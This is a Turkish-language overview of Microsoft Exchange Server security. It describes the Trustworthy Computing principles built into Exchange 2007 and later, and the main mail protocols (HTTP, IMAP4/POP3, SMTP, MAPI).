Daha önceki Exchange Server sürümlerinde posta kutusu (mailbox) ve kullanıcı işlemlerinin tamamı, Aktif Dizin üzerinden gerçekleştirilirdi ve bu durum Aktif Dizin üzerine büyük bir yük oluşturmaktaydı. Exchange Server 2007 ile birlikte bu işlemler Exchange Server Management Console (EMC) veya PowerShell üzerinden gerçekleştirilebilmektedir.

Exchange Server 2007 ile birlikte kurulum ile beraber güvenlik sağlanmaktadır. Güvenlik için sıkılaştırma işlemlerinin bir çoğu yapılmış olarak kurulumla gerçekleşmektedir. Exchange Server 2007 ve sonraki sürümlerde Microsoft tarafından Güvenilir Bilgi İşleme (Trustworthy Computing) metodu kullanılmaktadır. Kullanılan SDLC (Security Development Lifecycle) ile daha güvenilir bir sistem hazırlanmıştır. Trustworthy Computing, temel olarak aşağıdaki başlıklarda güvenliği kapsamaktadır:

• Tasarımda Güvenlik: Ürünün tasarlanması sırasında güvenilir kod geliştirmek için gerekli olan araçlar ve tekniklerden faydalanılmıştır.
• Kendiliğinden Güvenlik: Güvenilir bir sistemin sağlanması için en önemli konulardan birisi iletişimin güvenilir hale getirilmesidir. Bu amaçla SMB (Server Message Block) ve bazı UM (Unified Messaging) iletişimleri hariç tüm iletişimlerde Kerberos protokolü, sertifika, SSL (Secure Sockets Layer), diğer bazı endüstriyel şifreleme teknikleri kullanılmaktadır.
• Zararlılara Karşı Güvenlik: SPAM maillere karşı ajanlar yüklü olarak gelmektedir. Daha önceki versiyonlarda ajanlar kullanılmamaktaydı. Bunun yanında Microsoft Forefront Protection ile virüslere karşı önlem oluşturulmuştur.
• Dağıtımda Güvenlik: Exchange Server kurulumu sırasında en iyi alıştırmalara göre “Microsoft Exchange Server Best Practices Analyzer” ile sistem analizi gerçekleştirilebilmektedir. Bunun yanında mail sunucuda yapılacak işlemler için yönetici ve standart kullanıcılar için En Az Yetki Prensibi’ne göre hazırlanmış rol tabanlı bir izin modeli oluşturulmuştur.

İletişim Protokolleri 
Exchange ortamında temel olarak 5 adet protokol kullanılmaktadır:

• HTTP: Veriler ağ üzerinden açık olarak geçmektedir.
• IMAP4 & POP3: Yerel kullanıcıların uzaktaki bir e-posta sunucusuna erişmesini sağlayan bir uygulama katmanı protokolüdür. Veriler ağ üzerinden açık olarak geçmektedir. IMAP ile E-Posta sunucusuna bağlantı kurulduğunda, kutuda birikmiş e-postaların sadece başlık bilgilerini istemciye getirir. POP3 ise bütün mesajları istemciye çeker.
• SMTP: Posta gönderilmesi için kullanılan protokoldür. Tek yönlü bir protokoldür (sadece gidiş).  E-posta, e-posta sunucuları arasında aktarılırken de SMTP kullanılır. Veriler ağ üzerinden açık olarak geçmektedir. İstemci bilgisayar SMTP sunucusuna bağlanarak gerekli kimlik bilgilerini gönderir.  Onay verildiğinde posta SMTP sunucusuna iletilir.
• MAPI: Posta uygulamalarının sunuculardan posta alırken veya posta gönderirken kullandıkları arabirim protokolüdür. Exchange Server 2010 öncesinde kullanıcılar MAPI (Messaging Application Program Interface) aracılığıyla Mailbox sunucusuna ulaşabiliyorlardı. 2010 ile beraber bu değişmiştir. Mailbox server diğer sunucu rolleri ile MAPI bağlantısı üzerinde konuşur. Sadece ortak klasörlere (public folder) erişmek için MAPI kullanan son noktalar direk olarak Mailbox’a ulaşır.

Not: Posta iletişiminin sağlanabilmesi için DNS’e MX kaydının girilmesi gerekmektedir.

Not: Ortak klasörler ile Exchange sisteminde dosya, kontakt, takvim, mail, forum gibi kaynaklar tek kopya üzerinden bir çok kullanıcının erişimine açıldığı klasörlerdir. Exchange Server 2013 mimarisinde bu klasörler artık veritabanı yerine özel olarak dizayn edilmiş posta kutusu (mailbox) bazlı olarak oluşturulmaktadır.